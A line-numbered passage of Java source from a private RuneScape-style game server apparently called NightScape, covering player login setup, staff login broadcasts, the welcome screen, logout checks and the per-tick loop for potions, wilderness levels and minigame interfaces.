  816. + ((getLevelForXP(playerXP[5])) * 0.125) + ((getLevelForXP(playerXP[4])) * 0.4875));
  817. } else if (mag > attstr) {
  818. combatLevel = (int) (((getLevelForXP(playerXP[1])) * 0.25)
  819. + ((getLevelForXP(playerXP[3])) * 0.25)
  820. + ((getLevelForXP(playerXP[5])) * 0.125) + ((getLevelForXP(playerXP[6])) * 0.4875));
  821. } else {
  822. combatLevel = (int) (((getLevelForXP(playerXP[1])) * 0.25)
  823. + ((getLevelForXP(playerXP[3])) * 0.25)
  824. + ((getLevelForXP(playerXP[5])) * 0.125)
  825. + ((getLevelForXP(playerXP[0])) * 0.325) + ((getLevelForXP(playerXP[2])) * 0.325));
  826. }
  827. }
  828.  
  829. public void sendMessage(String s) {
  830. // synchronized (this) {
  831. if (getOutStream() != null) {
  832. outStream.createFrameVarSize(253);
  833. outStream.writeString(s);
  834. outStream.endFrameVarSize();
  835. }
  836.  
  837. }
  838.  
  839. public void globalMessage(String message) {
  840. for (Player p : PlayerHandler.players) {
  841. if (p == null)
  842. continue;
  843. Client c = (Client) p;
  844. c.sendMessage(message);
  845. }
  846. }
  847.  
  848. public void setSidebarInterface(int menuId, int form) {
  849. // synchronized (this) {
  850. if (getOutStream() != null) {
  851. outStream.createFrame(71);
  852. outStream.writeWord(form);
  853. outStream.writeByteA(menuId);
  854. }
  855.  
  856. }
  857.  
  858. public void autoMessage(String q) {
  859. for (int j = 0; j < PlayerHandler.players.length; j++) {
  860. if (PlayerHandler.players[j] != null) {
  861. Client c2 = (Client) PlayerHandler.players[j];
  862. c2.sendMessage(q);
  863. }
  864. }
  865. }
  866.  
  867. public void joinHelpCC() {
  868. if (clan == null) {
  869. Clan localClan = Server.clanManager.getClan("Help");
  870. if (localClan != null)
  871. localClan.addMember(this);
  872. else if ("Help".equalsIgnoreCase(this.playerName))
  873. Server.clanManager.create(this);
  874.  
  875. inArdiCC = false;
  876. }
  877. }
  878. public void joinPvpHelpCC() {
  879. if (clan == null) {
  880. Clan localClan = Server.clanManager.getClan("Pvp Help");
  881. if (localClan != null)
  882. localClan.addMember(this);
  883. else if ("Pvp Help".equalsIgnoreCase(this.playerName))
  884. Server.clanManager.create(this);
  885.  
  886. inArdiCC = false;
  887. }
  888. }
  889. public static void handleWelcomeInterface(Client c) {
  890. c.getPA().showInterface(15244); //Problem is buttons do not show up with images. Pointless?
  891. c.getPA().sendFrame126("@bla@Welcome to NightScape!", 15257);
  892. c.getPA().sendFrame126("Owner: Night - Last connected from: "+ c.connectedFrom, 15258);
  893. if(c.hasRecov) {
  894. c.getPA().sendFrame126("@gre@Your account is secure.\\n You have set a recovery email.\\n Post a request on forums\\n in order to change your email.", 15259);
  895. } else {
  896. c.getPA().sendFrame126("@red@Your account is at risk.\\nPlease log in and use \\n::setemail EMAIL@HERE.COM!\\n That will protect your account\\nif you are hacked.", 15259);
  897. }
  898. c.getPA().sendFrame126("This will be used to send\\nmessages to you in the future.", 15260);
  899. if (c.setPin) {
  900. c.getPA().sendFrame126("@gre@Your bank is safe. \\nPlease log in and use \\n::setemail EMAIL@HERE.COM!\\n That will protect your account!", 15270);
  901. } else {
  902. c.getPA().sendFrame126("@red@Your bank is at risk. \\nWe suggest making a \\nbank pin to secure your bank\\n We are not responsible for hacked items!", 15270);
  903. }
  904. c.getPA().sendFrame126("None", 15261);
  905. if (c.playerRights == 4 || c.isDonator == 1) {
  906. c.getPA().sendFrame126("You're currently a Donator! \\nEnjoy the server with all your features!\\n Remember, you are awesome!", 15262);
  907. } else if (c.playerRights == 5 || c.isDonator == 2) {
  908. c.getPA().sendFrame126("You're currently an Extreme Donator! \\nEnjoy the server with all your features!\\n Remember, you are very awesome!", 15262);
  909. } else if (c.playerRights == 8 || c.isDonator == 3) {
  910. c.getPA().sendFrame126("You're currently a Legendary Donator! \\nEnjoy the server with your features!\\n Remember, you are super awesome!", 15262);
  911. } else {
  912. c.getPA().sendFrame126("You are not a Donator. \\nWe suggest you become one since it\\nHas huge benefits! A list\\ncan be found on the forums!", 15262);
  913. }
  914. c.getPA().sendFrame126("Play NightScape", 15263);
  915. }
  916.  
  917. @Override
  918. public void initialize() {
  919. UUID = RS2LoginProtocol.UUID;
  920.  
  921. //handleWelcomeInterface(this); //Above...
  922. getPA().sendFrame126("DDS + Whip", 669);
  923. writeStreamByte();
  924. PvPHandler.handleLogin(this);
  925. Server.lottery.checkUnclaimedWinners(this);
  926. // PlayersOnline.createCon();
  927. // PlayersOnline.online(this);
  928. //isIronMan = false;
  929.  
  930. if (!playerName.equalsIgnoreCase("tyler")) { //I log in and out too much to have this message.
  931. if (playerRights == 1) {
  932. for (int j = 0; j < PlayerHandler.players.length; j++) {
  933. if (PlayerHandler.players[j] != null) {
  934. Client c2 = (Client) PlayerHandler.players[j];
  935. c2.sendMessage("[@blu@Moderator@bla@] @cr1@@bla@ "
  936. + Misc.ucFirst(playerName) + " @blu@has logged in.");
  937. }
  938. }
  939. } else if(playerRights == 2) {
  940. for (int j = 0; j < Server.playerHandler.players.length; j++) {
  941. if (Server.playerHandler.players[j] != null) {
  942. Client c2 = (Client)Server.playerHandler.players[j];
  943. c2.sendMessage("@yel@[Admin] @cr2@@whi@" +playerName+ "@bla@ has just logged in!");
  944. }
  945. }
  946. } else if(playerRights == 3) {
  947. for (int j = 0; j < Server.playerHandler.players.length; j++) {
  948. if (Server.playerHandler.players[j] != null) {
  949. Client c2 = (Client)Server.playerHandler.players[j];
  950. c2.sendMessage("@red@[Owner] @cr2@@dre@" +playerName+ "@dre@ has just logged in.");
  951. }
  952. }
  953. } else if(playerRights == 5) {
  954. for (int j = 0; j < Server.playerHandler.players.length; j++) {
  955. if (Server.playerHandler.players[j] != null) {
  956. Client c2 = (Client)Server.playerHandler.players[j];
  957. c2.sendMessage("@blu@[Extreme Donator] @cr4@@bla@" +playerName+ " has just logged in.");
  958. }
  959. }
  960. } else if(playerRights == 7) {
  961. for (int j = 0; j < Server.playerHandler.players.length; j++) {
  962. if (Server.playerHandler.players[j] != null) {
  963. Client c2 = (Client)Server.playerHandler.players[j];
  964. c2.sendMessage("@blu@[Staff] @cr6@@whi@" +playerName+ "@blu@ has just logged in.");
  965. }
  966. }
  967. } else if(playerRights == 8) {
  968. for (int j = 0; j < Server.playerHandler.players.length; j++) {
  969. if (Server.playerHandler.players[j] != null) {
  970. Client c2 = (Client)Server.playerHandler.players[j];
  971. c2.sendMessage("@pur@[Legendary Donator] @cr7@@pur@" +playerName+ "@bla@ has just logged in.");
  972. }
  973. }
  974. }
  975. }
  976. getPA().loadQuests();
  977. getPA().loadQuest2();
  978. getPA().sendFrame127(runEnergy + "%", 149);
  979. isFullHelm = Item.isFullHelm(playerEquipment[playerHat]);
  980. isFullMask = Item.isFullMask(playerEquipment[playerHat]);
  981. isFullBody = Item.isFullBody(playerEquipment[playerChest]);
  982. getPA().sendFrame36(173, isRunning2 ? 1 : 0);
  983. sendMessage("@bla@[@blu@Attention@bla@]:@red@Thanks for playing NightScape!");
  984. sendMessage("There are currently @red@"+ PlayerHandler.getPlayerCount() + " @bla@players online.");
  985. /**if (expLock == true) {
  986. sendMessage("Your experience is now locked. You will not gain experience.");
  987. } else {
  988. sendMessage("Your experience is now unlocked. You will gain experience.");
  989. }**/
  990. if (Config.SERVER_EXP_BONUS == 2) {
  991. sendMessage("@bla@[@blu@Attention@bla@]:@red@ Double experience is active.");
  992. }
  993. calcCombat();
  994. Pet.ownerLoggedIn(this);
  995. /*
  996. * if (playerRights != 3 || playerRights != 2) { Highscores.process(); }
  997. */
  998. outStream.createFrame(249);
  999. outStream.writeByteA(1); // 1 for members, zero for free
  1000. outStream.writeWordBigEndianA(playerId);
  1001. for (int j = 0; j < PlayerHandler.players.length; j++) {
  1002. if (j == playerId)
  1003. continue;
  1004. if (PlayerHandler.players[j] != null) {
  1005. if (PlayerHandler.players[j].playerName
  1006. .equalsIgnoreCase(playerName))
  1007. disconnected = true;
  1008. }
  1009. }
  1010. // Connection.addIpToLoginList(this.getConnectedFrom());
  1011. for (int i = 0; i < 25; i++) {
  1012. getPA().setSkillLevel(i, playerLevel[i], playerXP[i]);
  1013. getPA().refreshSkill(i);
  1014. getPA().refreshSkill(21);
  1015. getPA().refreshSkill(22);
  1016. }
  1017. for (int p = 0; p < PRAYER.length; p++) { // reset prayer glows
  1018. prayerActive[p] = false;
  1019. getPA().sendFrame36(PRAYER_GLOW[p], 0);
  1020. }
  1021. getPA().handleWeaponStyle();
  1022. getPA().handleLoginText();
  1023. accountFlagged = getPA().checkForFlags();
  1024. getPA().sendFrame36(108, 0);// resets autocast button
  1025. getPA().sendFrame36(172, 1);
  1026. getPA().sendFrame107(); // reset screen
  1027. getPA().setChatOptions(0, 0, 0); // reset private messaging options
  1028. setSidebarInterface(1, 3917);
  1029. // setSidebarInterface(1, 31110);
  1030. setSidebarInterface(2, 638);
  1031. setSidebarInterface(3, 3213);
  1032. setSidebarInterface(4, 1644);
  1033. setSidebarInterface(5, 5608);
  1034. if (playerMagicBook == 0) {
  1035. setSidebarInterface(6, 1151); // modern
  1036. }
  1037. if (playerMagicBook == 1) {
  1038. setSidebarInterface(6, 12855); // ancient
  1039. }
  1040. if (playerMagicBook == 2) {
  1041. setSidebarInterface(6, 29999); // ancient
  1042. }
  1043. if (splitChat == false) {
  1044. getPA().sendFrame36(502, 0);
  1045. getPA().sendFrame36(287, 0);
  1046. }
  1047. if (splitChat == true) {
  1048. getPA().sendFrame36(502, 1);
  1049. getPA().sendFrame36(287, 1);
  1050. }
  1051. correctCoordinates();
  1052. setSidebarInterface(7, 18128);
  1053. setSidebarInterface(8, 5065);
  1054. setSidebarInterface(9, 5715);
  1055. setSidebarInterface(10, 2449);
  1056. // setSidebarInterface(7, 19017);
  1057. setSidebarInterface(11, 904); // wrench tab
  1058. setSidebarInterface(12, 147); // run tab
  1059. setSidebarInterface(13, 6299);
  1060. setSidebarInterface(0, 2423);
  1061. setSidebarInterface(15, 2449);
  1062. setSidebarInterface(16, 3213);
  1063. if (lastsummon > 0) {
  1064. Summoning().SummonNewNPC(lastsummon);
  1065. }
  1066. getPA().showOption(4, 0, "Follow", 4);
  1067. pvpTeleTimer = 0;
  1068. getPA().showOption(5, 0, "Trade with", 3);
  1069. getItems().resetItems(3214);
  1070. getItems().sendWeapon(playerEquipment[playerWeapon],
  1071. getItems().getItemName(playerEquipment[playerWeapon]));
  1072. getItems().resetBonus();
  1073. getItems().getBonus();
  1074. getItems().writeBonus();
  1075. getItems().setEquipment(playerEquipment[playerHat], 1, playerHat);
  1076. getItems().setEquipment(playerEquipment[playerCape], 1, playerCape);
  1077. getItems().setEquipment(playerEquipment[playerAmulet], 1, playerAmulet);
  1078. getItems().setEquipment(playerEquipment[playerArrows],
  1079. playerEquipmentN[playerArrows], playerArrows);
  1080. getItems().setEquipment(playerEquipment[playerChest], 1, playerChest);
  1081. getItems().setEquipment(playerEquipment[playerShield], 1, playerShield);
  1082. getItems().setEquipment(playerEquipment[playerLegs], 1, playerLegs);
  1083. getItems().setEquipment(playerEquipment[playerHands], 1, playerHands);
  1084. getItems().setEquipment(playerEquipment[playerFeet], 1, playerFeet);
  1085. getItems().setEquipment(playerEquipment[playerRing], 1, playerRing);
  1086. getItems().setEquipment(playerEquipment[playerWeapon],
  1087. playerEquipmentN[playerWeapon], playerWeapon);
  1088. getCombat().getPlayerAnimIndex(
  1089. getItems().getItemName(playerEquipment[playerWeapon])
  1090. .toLowerCase());
  1091. getPA().logIntoPM();
  1092. getItems().addSpecialBar(playerEquipment[playerWeapon]);
  1093. saveTimer = Config.SAVE_TIMER;
  1094. saveCharacter = true;
  1095. Misc.println("[Logged in]: " + playerName + "");
  1096. handler.updatePlayer(this, outStream);
  1097. handler.updateNPC(this, outStream);
  1098. flushOutStream();
  1099. getPA().resetFollow();
  1100. getPA().clearClanChat();
  1101. getPA().resetFollow();
  1102. getPA().setClanData();
  1103. Connection.appendStarters();
  1104. Connection.appendStarters2();
  1105. //DonationSystem.addDonateItems(this,playerName);
  1106. if (addStarter)
  1107. getPA().addStarter();
  1108. if(playerRights != 9) {
  1109. this.joinHelpCC();
  1110. } else if(isPvpMode) {
  1111. this.joinPvpHelpCC();
  1112. }
  1113. if (hasNpc == true) {
  1114. if (summonId == 4000) {
  1115. getItems().addItem(12653, 1);
  1116. }
  1117. if (summonId == 4003) {
  1118. getItems().addItem(12694, 1);
  1119. }
  1120. if (summonId == 4001) {
  1121. getItems().addItem(12650, 1);
  1122. }
  1123. if (summonId == 4005) {
  1124. getItems().addItem(12649, 1);
  1125. }
  1126. if (summonId == 4006) {
  1127. getItems().addItem(12652, 1);
  1128. }
  1129. if (summonId == 4007) {
  1130. getItems().addItem(12651, 1);
  1131. }
  1132. if (summonId == 4008) {
  1133. getItems().addItem(12643, 1);
  1134. }
  1135. if (summonId == 4009) {
  1136. getItems().addItem(12644, 1);
  1137. }
  1138. if (summonId == 4010) {
  1139. getItems().addItem(12645, 1);
  1140. }
  1141. if (summonId == 4011) {
  1142. getItems().addItem(15568, 1);
  1143. }
  1144. if (summonId == 4012) {
  1145. getItems().addItem(15566, 1);
  1146. }
  1147. if (summonId == 4016) {
  1148. getItems().addItem(15570, 1);
  1149. }
  1150. if (summonId == 4014) {
  1151. getItems().addItem(15562, 1);
  1152. }
  1153. if (summonId == 4015) {
  1154. getItems().addItem(15560, 1);
  1155. }
  1156. if (summonId == 4013) {
  1157. getItems().addItem(15564, 1);
  1158. }
  1159. if (summonId == 6305) {
  1160. getItems().addItem(12655, 1);
  1161. }
  1162. // Server.npcHandler.spawnNpc3(this, summonId, absX, absY-1,
  1163. // heightLevel, 0, 120, 25, 200, 200, true, false, true);
  1164. summonId = 0;
  1165. hasNpc = false;
  1166. this.sendMessage("Your pet has been added to your inventory.");
  1167. }
  1168. if (autoRet == 1)
  1169. getPA().sendFrame36(172, 1);
  1170. else
  1171. getPA().sendFrame36(172, 0);
  1172. }
  1173.  
  1174. public void RefreshAllSkills() {
  1175. for (int i = 0; i < 25; i++) {
  1176. getPA().setSkillLevel(i, playerLevel[i], playerXP[i]);
  1177. getPA().refreshSkill(i);
  1178. }
  1179. }
  1180.  
  1181. @Override
  1182. public void update() {
  1183. handler.updatePlayer(this, outStream);
  1184. handler.updateNPC(this, outStream);
  1185. flushOutStream();
  1186.  
  1187. }
  1188.  
  1189. public void wildyWarning() {
  1190. getPA().showInterface(1908);
  1191. }
  1192.  
  1193. public void logout() {
  1194. if (this.clan != null) {
  1195. this.clan.removeMember(this);
  1196. }
  1197. PvPHandler.handleLogout(this);
  1198. // PlayersOnline.createCon();
  1199. // PlayersOnline.online(this);
  1200.  
  1201. /*
  1202. * if (playerRights != 2) { Highscores.save(this); }
  1203. */
  1204.  
  1205. /*
  1206. * if (lastsummon > 0) { for (int i = 0; i < Server.npcHandler.maxNPCs;
  1207. * i++) { if (Server.npcHandler.npcs[i] != null) { if
  1208. * (Server.npcHandler.npcs[i].summon == true) { if
  1209. * (Server.npcHandler.npcs[i].spawnedBy == getId()) {
  1210. * Server.npcHandler.npcs[i].isDead = true;
  1211. * Server.npcHandler.npcs[i].applyDead = true;
  1212. * Server.npcHandler.npcs[i].summon = false; } } } } }
  1213. */
  1214. Connection.removeIpFromLoginList(this.getConnectedFrom());
  1215. if (duelStatus >= 1 && duelStatus <= 5) {
  1216. sendMessage("You cannot logout during a duel.");
  1217. //getTradeAndDuel().bothDeclineDuel();
  1218. saveCharacter = true;
  1219. return;
  1220. }
  1221. if (underAttackBy > 0 || underAttackBy2 > 0)
  1222. return;
  1223. // synchronized (this) {
  1224. if (System.currentTimeMillis() - logoutDelay > 10000) {
  1225. outStream.createFrame(109);
  1226. CycleEventHandler.getSingleton().stopEvents(this);
  1227. properLogout = true;
  1228. ConnectedFrom.addConnectedFrom(this, connectedFrom);
  1229. } else {
  1230. sendMessage("You must wait a few seconds from being out of combat to logout.");
  1231. }
  1232.  
  1233. }
  1234.  
  1235. public int packetSize = 0, packetType = -1;
  1236.  
  1237. @Override
  1238. public void process() {
  1239. getPA().sendFrame126("Players Online: " + PlayerHandler.getPlayerCount(), 29155);
  1240. /*
  1241. * if (inWild() && WildernessWarning == false) { resetWalkingQueue();
  1242. * getPA().resetFollow(); wildyWarning(); WildernessWarning = true; }
  1243. */
  1244.  
  1245. if (clawDelay > 0) {
  1246. clawDelay--;
  1247. }if (superCombat > 0) {
  1248. if (superCombat == 150) {
  1249. getPA().refreshSkill(3);
  1250. sendMessage("@red@The effects caused by your super combat potion are almost gone!");
  1251. }
  1252. if (superCombat == 600 || superCombat == 597 || superCombat == 595 || superCombat == 593 || superCombat == 591 || superCombat == 570 || superCombat == 540 || superCombat == 510 || superCombat == 480 || superCombat == 450 || superCombat == 420 || superCombat == 390 || superCombat == 360 || superCombat == 330 || superCombat == 300 || superCombat == 270 || superCombat == 240 || superCombat == 210 || superCombat == 180 || superCombat == 150 || superCombat == 120 || superCombat == 90 || superCombat == 60 || superCombat == 30) {
  1253. superCombat();
  1254. getPA().refreshSkill(3);
  1255. }
  1256. superCombat--;
  1257. if (superCombat == 0) {
  1258. sendMessage("Your super combat potion has worn off.");
  1259. //playerLevel[3] += 50;
  1260. if (playerLevel[3] > playerLevel[playerHitpoints]) {
  1261. playerLevel[3] = playerLevel[playerHitpoints];
  1262. }
  1263. getPA().refreshSkill(3);
  1264. playerLevel[0] = getLevelForXP(playerXP[0]);
  1265. playerLevel[1] = getLevelForXP(playerXP[1]);
  1266. playerLevel[2] = getLevelForXP(playerXP[2]);
  1267. playerLevel[4] = getLevelForXP(playerXP[4]);
  1268. playerLevel[6] = getLevelForXP(playerXP[6]);
  1269. superCombat = 0;
  1270. for (int i = 0; i <= 6 && i != 5; i++) {
  1271. getPA().refreshSkill(i);
  1272. }
  1273.  
  1274. }
  1275. }
  1276. if (overload > 0) {
  1277. if (overload == 600 || overload == 597 || overload == 595 || overload == 593 || overload == 591) {
  1278. overloadHit();
  1279. getPA().refreshSkill(3);
  1280. }
  1281. if (overload == 570 || overload == 540 || overload == 510 || overload == 480 || overload == 450 || overload == 420 || overload == 390 || overload == 360 || overload == 330 || overload == 300 || overload == 270 || overload == 240 || overload == 210 || overload == 180 || overload == 150 || overload == 120 || overload == 90 || overload == 60 || overload == 30) {
  1282. overload();
  1283. getPA().refreshSkill(3);
  1284. }
  1285. overload--;
  1286. if (overload == 0 || inWild()) {
  1287. sendMessage("The effects of the overload potion have worn off...");
  1288. //playerLevel[3] += 50;
  1289. if (playerLevel[3] > playerLevel[playerHitpoints]) {
  1290. playerLevel[3] = playerLevel[playerHitpoints];
  1291. }
  1292. getPA().refreshSkill(3);
  1293. playerLevel[0] = getLevelForXP(playerXP[0]);
  1294. playerLevel[1] = getLevelForXP(playerXP[1]);
  1295. playerLevel[2] = getLevelForXP(playerXP[2]);
  1296. playerLevel[4] = getLevelForXP(playerXP[4]);
  1297. playerLevel[6] = getLevelForXP(playerXP[6]);
  1298. overload = 0;
  1299. for (int i = 0; i <= 6 && i != 5; i++) {
  1300. getPA().refreshSkill(i);
  1301. }
  1302.  
  1303. }
  1304. }
  1305. if (clawDelay == 1) {
  1306. delayedDamage = (clawDamage / 4);
  1307. delayedDamage2 = (clawDamage / 4) + 1;
  1308. if (clawType == 2) {
  1309. getCombat().applyNpcMeleeDamage(clawIndex, 1, clawDamage / 4);
  1310. }
  1311. if (clawType == 1) {
  1312. getCombat()
  1313. .applyPlayerMeleeDamage(clawIndex, 1, clawDamage / 4);
  1314. }
  1315. if (clawType == 2) {
  1316. getCombat().applyNpcMeleeDamage(clawIndex, 2,
  1317. (clawDamage / 4) + 1);
  1318. }
  1319. if (clawType == 1) {
  1320. getCombat().applyPlayerMeleeDamage(clawIndex, 2,
  1321. (clawDamage / 4) + 1);
  1322. }
  1323. clawDelay = 0;
  1324. specEffect = 0;
  1325. previousDamage = 0;
  1326. usingClaws = false;
  1327. clawType = 0;
  1328. }
  1329. if (runEnergy < 100) {
  1330. if (System.currentTimeMillis() > getPA().getAgilityRunRestore(this)
  1331. + lastRunRecovery) {
  1332. runEnergy++;
  1333. lastRunRecovery = System.currentTimeMillis();
  1334. getPA().sendFrame126(runEnergy + "%", 149);
  1335. }
  1336. }
  1337. if (walkingToItem) {
  1338. if (getX() == pItemX && getY() == pItemY
  1339. || goodDistance(getX(), getY(), pItemX, pItemY, 1)) {
  1340. walkingToItem = false;
  1341. Server.itemHandler.removeGroundItem(this, pItemId, pItemX,
  1342. pItemY, true);
  1343. }
  1344. }
  1345. if (System.currentTimeMillis() - restoreStatsDelay > (zerkOn ? 90000
  1346. : 60000)) {
  1347. restoreStatsDelay = System.currentTimeMillis();
  1348. for (int level = 0; level < playerLevel.length; level++) {
  1349. if (playerLevel[level] < getLevelForXP(playerXP[level])) {
  1350. if (level != 5) { // prayer doesn't restore
  1351. playerLevel[level] += 1;
  1352. getPA().setSkillLevel(level, playerLevel[level],
  1353. playerXP[level]);
  1354. getPA().refreshSkill(level);
  1355. }
  1356. } else if (playerLevel[level] > getLevelForXP(playerXP[level])
  1357. && level != 3) {
  1358. playerLevel[level] -= 1;
  1359. getPA().setSkillLevel(level, playerLevel[level],
  1360. playerXP[level]);
  1361. getPA().refreshSkill(level);
  1362. }
  1363. }
  1364.  
  1365. getPotSmoking().processMunnchies();
  1366. }
  1367.  
  1368. if (System.currentTimeMillis() - duelDelay > 1000 && duelCount > 0) {
  1369. if (duelCount != 1) {
  1370. forcedChat("" + (--duelCount));
  1371. duelDelay = System.currentTimeMillis();
  1372. } else {
  1373. damageTaken = new int[Config.MAX_PLAYERS];
  1374. forcedChat("FIGHT!");
  1375. duelCount = 0;
  1376. }
  1377. }
  1378. if (System.currentTimeMillis() - specDelay > Config.INCREASE_SPECIAL_AMOUNT) {
  1379. specDelay = System.currentTimeMillis();
  1380. if (specAmount < 10) {
  1381. specAmount += 1;
  1382. if (specAmount > 10)
  1383. specAmount = 10;
  1384. getItems().addSpecialBar(playerEquipment[playerWeapon]);
  1385. }
  1386. }
  1387. /*if (isPvpMode) {
  1388. if (!inPvP()) {
  1389. pvpTeleTimer = 7;
  1390. }
  1391. }*/
  1392. if (yellTimer > 0) {
  1393. yellTimer--;
  1394. }
  1395. if(pvpnewtimer > 0) {
  1396. pvpnewtimer--;
  1397. if (pvpnewtimer == 0 && isPvpMode) {
  1398. sendMessage("@red@[ALERT]: @gre@You can now be attacked by other PvP mode Players!");
  1399. pvpnewtimer = 0;
  1400. }
  1401. }
  1402. //if (summonSpec > 0) {
  1403. //summonSpec--;
  1404. //}
  1405.  
  1406. if (followId > 0) {
  1407. getPA().followPlayer();
  1408. } else if (followId2 > 0) {
  1409. getPA().followNpc();
  1410. }
  1411. getCombat().handlePrayerDrain();
  1412. if (System.currentTimeMillis() - singleCombatDelay > 3300) {
  1413. underAttackBy = 0;
  1414. }
  1415. if (System.currentTimeMillis() - singleCombatDelay2 > 3300) {
  1416. underAttackBy2 = 0;
  1417. }
  1418. if (isPvpMode && !inSafeArea() && !inPcBoat() && !inPcGame()) {
  1419. //PvPHandler.handleInterfaces(this);
  1420. getPA().walkableInterface(197);
  1421. int modY = absY > 6400 ? absY - 6400 : absY;
  1422. areaLevel = "3-126";
  1423. if (Config.SINGLE_AND_MULTI_ZONES) {
  1424. if (inMulti()) {
  1425. getPA().sendFrame126("@red@" + areaLevel, 199);
  1426. } else {
  1427. getPA().sendFrame126("@red@" + areaLevel, 199);
  1428. }
  1429. } else {
  1430. getPA().multiWay(-1);
  1431. getPA().sendFrame126("@red@Level: " + areaLevel, 199);
  1432. }
  1433. getPA().showOption(3, 0, "Attack", 1);
  1434. } else if (isPvpMode && inSafeArea()) {
  1435. //PvPHandler.handleInterfaces(this);
  1436. getPA().walkableInterface(197);
  1437. int modY = absY > 6400 ? absY - 6400 : absY;
  1438. areaLevel = "SAFE";
  1439. if (Config.SINGLE_AND_MULTI_ZONES) {
  1440. if (inMulti()) {
  1441. getPA().sendFrame126("@gre@" + areaLevel, 199);
  1442. } else {
  1443. getPA().sendFrame126("@gre@" + areaLevel, 199);
  1444. }
  1445. } else {
  1446. getPA().multiWay(-1);
  1447. getPA().sendFrame126("@gre@" + areaLevel, 199);
  1448. }
  1449. getPA().showOption(3, 0, "null", 1); //Removes attack option in safe zone - Tyler @ Ryan
  1450. } else if (inWild()) {
  1451. PvPHandler.handleInterfaces(this);
  1452. // getPA().walkableInterface(197);
  1453. int modY = absY > 6400 ? absY - 6400 : absY;
  1454. wildLevel = (((modY - 3520) / 8) + 1);
  1455. if (Config.SINGLE_AND_MULTI_ZONES) {
  1456. if (inMulti()) {
  1457. getPA().sendFrame126("@yel@Level: " + wildLevel, 199);
  1458. } else {
  1459. getPA().sendFrame126("@yel@Level: " + wildLevel, 199);
  1460. }
  1461. } else {
  1462. getPA().multiWay(-1);
  1463. getPA().sendFrame126("@yel@Level: " + wildLevel, 199);
  1464. }
  1465. getPA().showOption(3, 0, "Attack", 1);
  1466. } else if (inMithWild()) {
  1467. int modY = absY > 6400 ? absY - 6400 : absY;
  1468. wildMithLevel = 30;
  1469. getPA().walkableInterface(197);
  1470. getPA().multiWay(-1);
  1471. getPA().sendFrame126("@yel@Level: " + wildMithLevel, 199);
  1472. getPA().showOption(3, 0, "Attack", 1);
  1473. } else if (this.isInBarrows()) {
  1474. this.getPA().sendFrame126("Kill Count: " + this.barrowsKillCount,
  1475. 4536);
  1476. this.getPA().walkableInterface(4535);
  1477. this.getPA().showOption(3, 0, "null", 1);
  1478. this.getPA().showOption(2, 0, "null", 1);
  1479. } else if (inPcBoat()) {
  1480. getPA().sendFrame126(
  1481. "Next Departure: " + PestControl.waitTimer + "", 21120);
  1482. getPA().sendFrame126(
  1483. "Players Ready: " + PestControl.playersInBoat() + "", 21121);
  1484. getPA().sendFrame126("(Need 3 to 25 players)", 21122);
  1485. getPA().sendFrame126("Pest Points: " + pcPoints + "", 21123);
  1486. getPA().walkableInterface(21119);
  1487. } else if (inPcGame()) {
  1488. for (j = 0; j < NPCHandler.npcs.length; j++) {
  1489. if (NPCHandler.npcs[j] != null) {
  1490. if (NPCHandler.npcs[j].npcType == 6142) {
  1491. if (NPCHandler.npcs[j].isDead) {
  1492. getPA().sendFrame126("Dead", 21111);
  1493. } else
  1494. getPA().sendFrame126(
  1495. "" + NPCHandler.npcs[j].HP + "", 21111);
  1496. }
  1497. if (NPCHandler.npcs[j].npcType == 6143) {
  1498. if (NPCHandler.npcs[j].isDead) {
  1499. getPA().sendFrame126("Dead", 21112);
  1500. } else
  1501. getPA().sendFrame126(
  1502. "" + NPCHandler.npcs[j].HP + "", 21112);
  1503. }
  1504. if (NPCHandler.npcs[j].npcType == 6144) {
  1505. if (NPCHandler.npcs[j].isDead) {
  1506. getPA().sendFrame126("Dead", 21113);
  1507. } else
  1508. getPA().sendFrame126(
  1509. "" + NPCHandler.npcs[j].HP + "", 21113);
  1510. }
  1511. if (NPCHandler.npcs[j].npcType == 6145) {
  1512. if (NPCHandler.npcs[j].isDead) {
  1513. getPA().sendFrame126("Dead", 21114);
  1514. } else
  1515. getPA().sendFrame126(
  1516. "" + NPCHandler.npcs[j].HP + "", 21114);
  1517. }
  1518. }
  1519. }
  1520. getPA().sendFrame126("0", 21115);
  1521. if (pcDamage < 50) {
  1522. getPA().sendFrame126("@red@" + pcDamage + "", 21116);
  1523. } else {
  1524. getPA().sendFrame126("@gre@" + pcDamage + "", 21116);
  1525. }
  1526. getPA().sendFrame126(
  1527. "Time remaining: " + PestControl.gameTimer + "", 21117);
  1528. getPA().walkableInterface(21100);
  1529. } else if (inZombieWait()) {
  1530. getPA().sendFrame126("", 15894);
  1531. getPA().sendFrame126(" @gre@Nightmare Zone", 15895);
  1532. getPA().sendFrame126(
  1533. ZombieWaves.waitTimer < 0 ? "Game In Progress"
  1534. : "Next Departure: " + ZombieWaves.waitTimer, 15897);
  1535. getPA().sendFrame126(
  1536. "Players Ready: " + ZombieWaves.inZombieWaitCount(), 15898);
  1537. getPA().sendFrame126("NMZ Points: " + zmPoints, 15899);
  1538. getPA().sendFrame126("", 15896);
  1539. getPA().sendFrame126("", 15900);
  1540. getPA().sendFrame126("", 15901);
  1541. getPA().sendFrame126("", 15902);
  1542. getPA().sendFrame126("", 15903);
  1543. getPA().sendFrame126("", 15904);
  1544. getPA().sendFrame126("", 15905);
  1545. getPA().sendFrame126("", 15906);
  1546. getPA().walkableInterface(15892);
  1547. } else if (inZombieGame()) {
  1548. getPA().sendFrame126("", 15894);
  1549. getPA().sendFrame126(" @gre@Nightmare Zone", 15895);
  1550. getPA().sendFrame126("Wave Number " + ZombieWaves.zombieWaveId,
  1551. 15897);
  1552. getPA().sendFrame126("Bosses Left: " + ZombieWaves.zombieAmount,
  1553. 15898);
  1554. getPA().sendFrame126("NMZ Points: " + zmPoints, 15899);
  1555. getPA().sendFrame126("", 15896);
  1556. getPA().sendFrame126("", 15900);
  1557. getPA().sendFrame126("", 15901);
  1558. getPA().sendFrame126("", 15902);
  1559. getPA().sendFrame126("", 15903);
  1560. getPA().sendFrame126("", 15904);
  1561. getPA().sendFrame126("", 15905);
  1562. getPA().sendFrame126("", 15906);
  1563. getPA().walkableInterface(15892);
  1564. } else if (inDuelArena()) {
  1565. getPA().walkableInterface(201);
  1566. if (duelStatus == 5) {
  1567. getPA().showOption(3, 0, "Attack", 1);
  1568. } else {
  1569. getPA().showOption(3, 0, "Challenge", 1);
  1570. }
  1571. } else if (inCwGame || inPits) {
  1572. getPA().showOption(3, 0, "Attack", 1);
  1573. } else if (getPA().inPitsWait()) {
  1574. getPA().showOption(3, 0, "Null", 1);
  1575. } else if (!inCwWait) {
  1576. getPA().sendFrame99(0);
  1577. getPA().walkableInterface(-1);
